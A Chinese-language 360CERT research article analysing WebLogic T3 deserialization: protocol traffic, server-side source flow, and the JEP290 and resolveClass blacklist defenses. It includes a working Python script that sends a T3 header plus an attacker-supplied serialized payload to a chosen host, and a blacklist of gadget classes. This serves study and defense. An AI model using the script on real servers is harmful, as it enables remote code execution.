Weblogic t3 协议利用与防御

作者：Hu3sky@360CERT

0x00 前置知识

weblogic t3
协议指的是 weblogic
的 rmi
使用的 t3
协议，在 java rmi
中，默认 rmi
使用的是 jrmp
协议， weblogic
包含了高度优化的 RMI
实现

在一般的基于 jrmp
的 rmi
，通信由4个部分组成

客户端对象
服务端对象
客户端代理对象（stub）
服务端代理对象（skeleton）

webLogic
支持动态生成客户端 Stub
和服务器端 skeleton
，从而无需为 RMI
对象生成客户端 Stub
和服务器端 skeleton
，将对象部署到 RMI 注册中心
或 JNDI
时， webLogic
将自动生成必要的代理

RMI
注册中心会随着 weblogic
服务的启动自动运行。

0x01 实现正常t3类的调用

接下来我们看一个例子来了解weblogic rmi 首先创建一个 interface

package com.hu3sky.t3;

public interface Hello extends java.rmi.Remote{
    public void sayHello() throws java.rmi.RemoteException;;
}

实现类

package com.hu3sky.t3;

import java.rmi.RemoteException;

public class HelloImpl implements Hello {
    @Override
    public void sayHello() throws RemoteException {
        System.out.println("hello");
    }
}

WebLogic
不需要 rmi
对象的实现类扩展 UnicastRemoteObject
。在一般的 rmi
对象中是必须要继承 UnicastRemoteObject
的

Server端

package com.hu3sky.t3;

import javax.naming.*;
import java.util.Hashtable;

public class Server {

    // The factory to use when creating our initial context
    public final static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";

    /**
     * Create an instance of the Implementation class
     * and bind it in the registry.
     */
    public static void main(String[] args) {
        try {
            Context ctx = getInitialContext("t3://127.0.0.1:7001");
            ctx.bind("HelloServer", new HelloImpl());
            System.out.println("HelloImpl created and bound to the JNDI");
        }
        catch (Exception e) {
            System.out.println("HelloImpl.main: an exception occurred!");
            e.printStackTrace(System.out);
        }
    }

    /* Creates the Initial JNDI Context */
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}

Client端

package com.hu3sky.t3;

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    // Defines the JNDI context factory.
    public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

    public Client() {
    }

    public static void main(String[] args) throws Exception {

        try {
            InitialContext ic = getInitialContext("t3://127.0.0.1:7001");
            Hello obj = (Hello) ic.lookup("HelloServer");
            System.out.println("Successfully connected to HelloServer , call sayHello() : "+obj.sayHello());
        } catch (Exception ex) {
            System.err.println("An exception occurred: " + ex.getMessage());
            throw ex;
        }
    }

    private static InitialContext getInitialContext(String url)
            throws NamingException {
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }


}

然而，此时还无法直接运行，需要使用WebLogic启动类注册RMI对象

步骤如下：

1. 修改项目pom，打包为jar

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.hu3sky</groupId>
    <artifactId>t3</artifactId>
    <version>1.0-SNAPSHOT</version>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <configuration>
                    <archive>
                        <manifest>
                            <addClasspath>true</addClasspath>
                            <useUniqueVersions>false</useUniqueVersions>
                            <classpathPrefix>lib/</classpathPrefix>
                            <mainClass>com.hu3sky.t3.Server</mainClass>
                        </manifest>
                    </archive>
                </configuration>
            </plugin>
        </plugins>
    </build>

</project>

2. 将jar包复制到域的/lib文件下，重启weblogic即可

成功后查看jndi树，会发现HelloServer成功被加载
接着我们再运行一下Client
成功调用 Server
上的 sayHello
方法

1.1 分析流量

这是 7001
端口上的数据包，红色是客户端向服务器请求数据，蓝色的是服务器返回数据 可以看到发送的第一个数据包为T3协议头，其中第一行为 t3
加 weblogic
客户端的版本号,weblogic服务器的返回数据的第一行为 HELO:
加 weblogic
服务器的版本号。 weblogic
客户端与服务器发送的数据均以 /n/n
结尾。
最后返回 Hello World

我们再看下hex，不难发现其中的 ac ed 00 05
序列化魔术头，而且不止一处
通过观察请求数据包，我们可以发现请求的数据包可以分为多个部分，我这里分离出了九个部分 第一部分的前四个字节为整个数据包的长度，第二至九部分均为JAVA序列化数据

其中第二到九部分序列化的类是

weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.JVMID
weblogic.rjvm.JVMID  
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ImmutableServiceContext
weblogic.rjvm.ImmutableServiceContext

从这里的红框部分开始，为第一个部分，后面的都是以 ac ed 00 05
开头的魔术头的反序列化部分
中间其他部分就省略了

1.2 利用t3协议进行恶意序列化

在编写利用的过程中，需要发送两部分的数据

• 请求包头，也就是

  t3 12.2.1/nAS:255/nHL:19/nMS:10000000/nPU:t3://localhost:7001/nLP:DOMAIN/n/n

  以 /n
  结束

• 序列化数据部分，序列化部分的构成方式有两种：

  • 第一种生成方式为，将前文所述的weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
  • 第二种生成方式为，将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接

必须先发送 T3
协议头数据包，再发送 JAVA
序列化数据包，才能使 weblogic
进行 JAVA
反序列化，进而触发漏洞。如果只发送 JAVA
序列化数据包，不先发送 T3
协议头数据包，无法触发漏洞

1.3 脚本编写

这里我采取第二种方法进行脚本的编写，思路是：

1. 建立socket请求
2. 发送t3请求数据头
3. 读取恶意序列化数据，将其拼接至第一部分序列化数据之后
4. 将前四个字节的长度进行替换
5. 发送恶意数据

脚本如下

#!/usr/bin/python
import socket
import os
import sys
import struct

if len(sys.argv) < 3:
    print 'Usage: python %s <host> <port> </path/to/payload>' % os.path.basename(sys.argv[0])
    sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)

server_address = (sys.argv[1], int(sys.argv[2]))
print '[+] Connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3 12.2.1/nAS:255/nHL:19/nMS:10000000/nPU:t3://localhost:7001/nLP:DOMAIN/n/n'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()

payload = '/x00/x00/x05/xf5/x01/x65/x01/xff/xff/xff/xff/xff/xff/xff/xff/x00/x00/x00/x71/x00/x00/xea/x60/x00/x00/x00/x18/x45/x0b/xfc/xbc/xe1/xa6/x4c/x6e/x64/x7e/xc1/x80/xa4/x05/x7c/x87/x3f/x63/x5c/x2d/x49/x1f/x20/x49/x02/x79/x73/x72/x00/x78/x72/x01/x78/x72/x02/x78/x70/x00/x00/x00/x0c/x00/x00/x00/x02/x00/x00/x00/x00/x00/x00/x00/x04/x00/x00/x00/x01/x00/x70/x70/x70/x70/x70/x70/x00/x00/x00/x0c/x00/x00/x00/x02/x00/x00/x00/x00/x00/x00/x00/x04/x00/x00/x00/x01/x00/x70/x06/xfe/x01/x00/x00'
payload=payload+payloadObj

# adjust header for appropriate message length
payload=struct.pack('>I',len(payload)) + payload[4:]

print '[+] Sending payload...'
sock.send(payload)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

0x02 服务端反序列化部分源码分析

这里只做部分分析，分析的比较浅，如果有地方分析有误还请师傅指出 通过观察log里的错误，可以发现调用栈

java.io.EOFException
    at weblogic.utils.io.DataIO.readUnsignedByte(DataIO.java:435)
    at weblogic.utils.io.DataIO.readLength(DataIO.java:829)
    at weblogic.utils.io.ChunkedDataInputStream.readLength(ChunkedDataInputStream.java:150)
    at weblogic.utils.io.ChunkedObjectInputStream.readLength(ChunkedObjectInputStream.java:206)
    at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:43)
    at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:325)
    at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:219)
    at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:557)
    at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:666)
    at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:397)
    at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:993)
    at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:929)
    at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:599)
    at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:563)
    at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30)
    at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43)
    at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147)
    at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)

或者在idea里进行调试，也能看到调用栈

关于muxer，`WebLogic Server`使用称为复用器(`muxer`)的软件模块来读取服务器上的传入请求和客户端上的传入响应，`SocketMuxer`管理服务器的现有套接字连接。它首先确定哪些套接字具有等待处理的传入请求。然后，它读取足够的数据来确定协议，并根据协议将套接字分配到适当的运行时层。在运行时层，套接字混合器线程确定要使用的执行线程队列，并相应地委派请求

2.1 SocketMuxer初始化

先看到 SocketMuxer
初始化。在

调用 initSocketMuxerOnServer
，需要返回 singleton
的值
该值为makeTheMuxer函数的return值
由于 KernelStatus.isServer()
返回 true
，所以直接调用 getNativeMuxerClassName()
，获取本地 muxer

这里根据内核配置获取到的为 NIOSocketMuxer

获取完之后，调用 muxerClassName
的构造函数
会创建Selector
其中 sockets
成员变量来自抽象类 SocketMuxer

接着开启 socketReader
线程
看到 SocketReaderRequest.run
， getMuxer
返回 NIOSocketMuxer

跟进 NIOSocketMuxer.processSockets
首先会调用 selectFrom
，这里会获取注册过的一些变量，比如 sockets

(注册大致如下，就不细说了
)

2.2 分派创建T3 Muxer

接着看 process
方法，这里的 SelectionKey
键表示了一个特定的通道对象和一个特定的选择器对象之间的注册关系。
ms
是从 NIOSocketMuxer
中获取 sockets
，这里为 MuxableSocketDiscriminator
，用来鉴别套接字，之后再分发给相应的 Muxer

跟进 readReadySocket

然后调用 dispatch

这里会根据我们发送的套接字数据，判断协议，返回 t3

接着调用 ProtocolHandlerT3.createSocket
，创建相关的 Muxer

调用父类构造方法对 channel
等变量进行初始化，接着将 connection
变量赋值为 T3MsgAbbrevJVMConnection

this.connection.setDispatcher(ConnectionManager.create((RJVMImpl)null), false);

看到 ConnectionManager.create

RJVMEnvironment
环境为 true
,返回 classname
为 weblogic.rjvm.ConnectionManagerServer
，也就是 dispatcher
，然后调用 setDispatcher
设置 dispatcher

创建完 muxer
之后，移除之前的 sockets
，也就是 MuxableSocketDiscriminator
，重新注册 sockets
为 MuxableSocketT3

2.3 T3 Muxer 反序列化socket数据

再次循环调用 process

传入 ms
，也就是 MuxableSocketT3
，跟入 readReadySocket

接着调用 readReadySocketOnce

往下走，调用 dispatch
进行分发
由于 MuxableSocketT3
没有无参的 dispatch
函数，于是调用父类 BaseAbstractMuxableSocket
的 dispatch
makeChunkList
返回 socket
数据流，作为参数传入 dispatch

接着调用 T3MsgAbbrevJVMConnection.dispatch

从之前设置的 dispatcher
获取 incomingMessage

调用 connection.readMsgAbbrevs

跟进 read
函数
调用 readObject
函数
用 InboundMsgAbbrev.ServerChannelInputStream
处理数据之后，调用 ObjectInpuStream.readObject
造成反序列化

0x03 防御机制

3.1 JEP290机制

JEP290机制是用来过滤传入的序列化数据，以提高安全性，其核心机制是序列化客户端需要实现 ObjectInputStream
上的 ObjectInputFilter
接口（低于 jdk9
的版本是在 sun.misc
这个 package
下，而 jdk9
是在 java.io
这个 package
下），利用 checkInput
方法来对序列化数据进行检测，如果有任何不合格的检测， Filter
将返回 Status.REJECTED

jdk9向下增加jep290机制的jdk版本为

Java™ SE Development Kit 8, Update 121 (JDK 8u121)
Java™ SE Development Kit 7, Update 131 (JDK 7u131)
Java™ SE Development Kit 6, Update 141 (JDK 6u141)

这里使用测试版本 jdk8u221
图上的流程已经很明显了，我们来看看如果被 jdk
拦截是什么样子的，这里我随便用了 CommonsCollections
的 gadget
做测试，使用的测试版本 jdk8u221

3.1.1 filterCheck

最终的拦截调用是 readOrdinaryObject->readClassDesc->readNonProxyDesc->filterCheck

这里的 ObjectInputFilter
类型变量 serialFilter
， serialFilter
的值是作为 JEP290
对序列化数据进行检测的一个格式(里面包含需要做检测的默认值，用分号隔开。包名后面需要带星号，包名或者类名前面带感叹号的话表示黑名单，没有则表示白名单)

具体细则

这里的 serialFilter
值如下

maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.UnicastRemoteObject;
!java.rmi.server.RemoteObjectInvocationHandler;
!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.RemoteObject;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*;
!java.rmi.activation.*;
!sun.rmi.server.*;
!org.jboss.interceptor.builder.*;
!org.jboss.interceptor.reader.*;
!org.jboss.interceptor.proxy.*;
!org.jboss.interceptor.spi.metadata.*;
!org.jboss.interceptor.spi.model.*;
!com.bea.core.repackaged.springframework.aop.aspectj.*;
!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;
!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;
!com.bea.core.repackaged.springframework.beans.factory.support.*;
!org.python.core.*

3.1.2 serialFilter赋值过程

来看看 weblogic
是如何初始化这个值的， weblogic
在启动 t3
Server的时候，会进行 filter
的初始化，在初始化的时候，首先会实例化 JreFilterApiProxy
这个类
这里主要通过反射获取 ObjectInputFilter
的方法，当做一个api来使用，同时会调用 determineJreFilterSupportLevel
方来判断 ObjectInputFilter
的 package

接着会调用到 weblogic.utils.io.oif.WebLogicFilterConfig
的构造方法

为初始化前， FilterProperties
和 BlacklistProperties
都为 null
，都返回 false
， 于是跟进 processDefaultConfiguration
方法

接着调用 getDefaultFilterScope
判断当前jdk，我们测试版本是 8u221
，返回 GLOBAL

接着是 constructSerialFilter
，开始对 serialFilter
进行赋值，主要是对 serialFilter
的格式进行统一 黑名单主要来自 DEFAULT_BLACKLIST_CLASSES
和 DEFAULT_BLACKLIST_PACKAGES
，
serialFilter
的赋值结束后，会通过反射调用 ObjectInputFilter.setSerialFilter
，对 ObjectInputFilter
接口的 serialFilter
赋值
再之后，就是上文的 ObjectInputFilter.checkInput
的调用了 具体的检测过程如下
这就是在jep290的机制下的weblogic配合jdk ObjectInputFilter
的一个检测过程，就是一个基于类/包的黑名单检测，还是存在绕过的可能性，比如最近的 CVE-2020-2555
的 gadgets
，可以参考 CVE-2020-2555 漏洞分析

3.2 jdk版本过低没有JEP290机制

接下来，修改启动版本为 jdk8u91
先来看日志报错

3.2.1 黑名单赋值

跟进代码看看 weblogic
启动t3的时候，依然是跟进到 JreFilterApiProxy

determineJreFilterSupportLevel
方法，由于加载不到 ObjectInputFilter
，所以直接将 FilterSupportLevel
设置为 NULL
，也就不会进入到下面的if判断里了， initialized
属性也不会被设置为 true

initialized
为 false
，返回 isJreFilteringAvailable
也为 false

接着往下走，依然会实例化 WebLogicFilterConfig
，初始化黑名单，这里和jep290有些区别
调用 constructLegacyBlacklist
，就是一个将 DEFAULT_BLACKLIST_CLASSES
和 DEFAULT_BLACKLIST_PACKAGES
赋值给存放黑名单属性的函数，最后赋值给 LEGACY_BLACKLIST
属性

3.2.2 resolveClass

在普通的java反序列化的过程中会调用 resolveClass
读取反序列化的类名，所以我们可以通过重写 ObjectInputStream
对象的 resolveClass
方法即可实现对反序列化的校验，来看 weblogic
是如何实现的

根据错误日志，定位到 weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream
。

我们看到反序列化的点
这里将类型转换为 ServerChannelInputStream
，该类继承了 ObjectInputStream

并且重写了 resolveClass

在反序列化的时候，就会优先调用重写的 resolveClass

接着跟进 checkLegacyBlacklistIfNeeded

这里首先会判断 isJreFilteringAvailable
属性(
jep290机制下该值为 true
，所以不会用这种方法进行检测
)，然后会调用 isBlacklistedLegacy
判断反序列化类是否在黑名单里

最后通过一张“JSON反序列化之殇_看雪安全开发者峰会”的时序图进行总结

0x04 时间线

2020-03-20360-CERT 发布报告

0x05 参考链接

1. https://docs.oracle.com/middleware/1213/wls/WLRMI/rmi_imp.htm#WLRMI146

2. https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/jndi/ViewObjectsInTheJNDITree.html

3. https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#weblogic

4. http://drops.xmd5.com/static/drops/web-13470.html

5. https://stackoverflow.com/questions/1623692/what-is-weblogic-socket-muxer

6. http://openjdk.java.net/jeps/290

7. https://paper.seebug.org/454/

8. https://mp.weixin.qq.com/s? biz=Mzg2OTA0Njk0OA==&mid=2247484951&idx=1&sn=0cef67df4b883b198da467c927533316&source=41#wechat_redirecthttps://mp.weixin.qq.com/s?
   biz=Mzg2OTA0Njk0OA==&mid=2247484951&idx=1&sn=0cef67df4b883b198da467c927533316&source=41#wechat_redirect

9. Java_JSON反序列化之殇_看雪安全开发者峰会.pdf